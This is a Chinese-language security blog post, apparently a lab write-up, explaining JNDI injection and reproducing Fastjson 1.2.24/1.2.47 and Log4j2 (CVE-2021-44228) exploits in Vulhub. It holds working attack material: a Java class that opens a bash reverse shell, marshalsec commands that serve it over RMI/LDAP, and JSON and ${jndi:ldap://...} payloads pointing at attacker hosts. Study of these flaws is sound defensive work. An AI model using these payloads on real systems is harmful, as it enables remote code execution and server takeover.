文章首发于:
火线Zone社区(https://zone.huoxian.cn/)
JNDI介绍
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。
可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。
简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
JNDI注入原理
JNDI中有两个方法:
-
bind() :作用是将名称绑定到对象里面
-
lookup() :作用是通过名字检索执行的对象
JNDI注入简单来说就是在JNDI接口在初始化时,如果lookup()方法的参数可控,攻击者就可以将恶意的url传入参数加载恶意的类。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}
jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入
JNDI+RMI
RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法
攻击者可以构造payload:rmi://evilserver:9999/payload 来加载恶意的类。
**这里注意,在JDK 6u132, JDK 7u122, JDK 8u113及其之后版本中,系统属性
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
默认值为 **false,即默认不允许从远程的 Codebase 加载 Reference 工厂类。目标环境需要JDK符合版本,或者将这个属性设置为 true 才能使用 JNDI+RMI注入
具体的利用过程通过fastjson反序列化漏洞来演示
JNDI+LDAP
LDAP(Light Directory Access Portocol),它是基于X.500标准的跨平台的轻量级目录访问协议。
LDAP协议主要用于单点登录SSO(Single Sign on),一个典型案例是:学校的单点登录系统,只需要在这里登录,则教务、WebVPN、校园网等系统都可以直接访问,不需要登录
LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
JDK 6u211,7u201, 8u191, 11.0.1之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
具体的利用过程通过log4j2漏洞来演示
网上有张图就很清晰的标注了利用限制
fastjson 1.2.24 反序列化导致任意命令执行漏洞
简介:fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
影响版本:Fastjson<=1.2.24
漏洞原因:反序列未做限制,可以返序列化任意类型的class文件,导致任意代码执行。
环境:JDK1.8.102、Vulhub - Docker[1]
以下是java反序列化相关函数
| 函数 | 作用 |
| --- | --- |
| JSON.toJSONString(Object) | 将对象序列化成json格式 |
| JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 将对象序列化成json格式,并且记录了对象所属的类的信息 |
| JSON.parse(Json) | 将json格式返回为对象(但是反序列化类对象没有@Type时会报错) |
| JSON.parseObject(Json) | 返回对象是com.alibaba.fastjson.JSONObject类 |
| JSON.parseObject(Json,Object class) | 返回对象会根据json中的@Type来决定 |
| JSON.parseObject(Json,User.class,
Feature.SupportNonPublicField) | 会把Json数据对应的类中的私有成员也给还原 |
该漏洞利用方式有两种
-
通过JSON.parseObject()这个函数通过json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl并构造特定的方法达到命令执行
-
通过JNDI注入
本篇文章主要通过JNDI注入分析复现
大概的过程为:首先在本地开启恶意的rmi服务(rmi://evilserver:1099),并绑定恶意类(evilobj),恶意类中存放着可以执行任意命令的java程序。找到fastjson组件入口(一般是传json字符串的地方),传入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true}
即可完成漏洞利用。
docker打开环境,可以看到页面是json格式
那么如何判断Fastjson框架呢,有一种简单的方法
抓取一个数据包,修改成POST提交方式,并发送一个不完整的Json数据包,若返回了500报错页面,则该网站是使用了fastjson框架
若无回显也可以使用dnslog判断
{"1_Ry":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}
复现前需要安装指定版本的java,若没安装参考这篇文章kali中安装多版本jdk[2](注意javac也是一样,不然编译好的class文件也无法利用)
1、上传shell.java,并编译:javac shell.java,然后将shell文件放在http的服务上
(这里的http服务亲测开启kali自带的apache服务不行,我后面使用了python开启http服务)
python -m SimpleHTTPServer //python2
python -m http.server //python3
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
//do nothing
}
}
}
2、下载maven
3、下载mbechler/marshalsec [3] ,下载好后需要将marshalsec项目进行编译
mvn clean package -DskipTests
4、编译好后,借助marshalsec项目制定加载远程类 shell.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.128:8000/#shell" 7777
5、发送payload,调用远程恶意类
{
"1_Ry":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.128:7777/shell",
"autoCommit":true
}
}
终于成功了
总结:此次复现踩了很多坑,但对JNDI+RMI注入的理解也更深刻,此次复现只演示了反弹shelll,更改payload可以执行任意命令这里就不继续演示了。
主要有两个坑:
-
一是注意JAVA和JAVAC版本
-
二是使用python开启http服务
fastjson 1.2.47远程命令执行漏洞
这里再提一嘴Fastjson 1.2.47反序列化其实就是1.2.24的绕过,1.2.47增加了checkAutoType()函数进行@type字段的检查
具体payload如下,利用方法也是差不多的,这里就不详细演示了
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS地址:端口/Exploit", #这里的Exploit不能变
"autoCommit":true
}
}
(就在写这篇文章的时候Fastjson≤1.2.80又爆出了一个绕过默认autoType关闭限制进行远程命令执行)
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
漏洞成因:Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
环境:vulhub [4] ,JDK1.8_102
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
这里还是要再提一下,因为使用的方法是JNDI+LDAP注入的方式,所以JDK版本需要小于6u211,7u201, 8u191, 11.0.1
启动环境后访问8983端口即可看到Apache Solr的后台页面
漏洞复现攻击大致流程如下:
-
首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。
-
被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。
-
此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
-
Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
-
Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
接下来开始复现
首先使用其作为管理员接口的action参数值发送如下数据包验证是否会解析
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}
在vulnhub中使用了JNDI 注入利用工具 [5] 进行漏洞利用,这里我还是使用mbechler/marshalsec [3] 进行复现,步骤和fastjson的差不多
首先还是先使用python启用一个http服务,将shell.java编译成class文件放入http服务上
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
//do nothing
}
}
}
使用marshalsec搭建Ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.111.128:8000/#shell" 7777
nc监听,反弹shell
${jdni:ldap://192.168.111.128:7777/shell}
总结:JNDI常规注入对JDK版本还是有限制的,但是也有很多高版本的绕过方法,以后有时间会专门写一篇文章记录一下。
参考链接
[1] Vulhub - Docker:
https://vulhub.org/#/docs/remove/
[2] kali中安装多版本jdk:
https://blog.csdn.net/grb819/article/details/121633285
[3] mbechler/marshalsec:
https://github.com/mbechler/marshalsec
[4] vulhub:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
[5] JNDI 注入利用工具
https://github.com/su18/JNDI
【火线Zone云安全社区群】
进群可以与技术大佬互相交流
进群有机会免费领取节假日礼品
进群可以免费观看技术分享直播
识别二维码回复【社区群】进群
【火线Zone社区周激励】
2022.5.30~ 2022.6.5公告
【相关精选文章】
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)
// 火线Zone //
微信号 : huoxian_zone
点击阅读原文,加入社区,共建一个有技术氛围的优质社区!
原文始发于微信公众号(亿人安全):从Fastjson和Log4j2学习JNDI注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论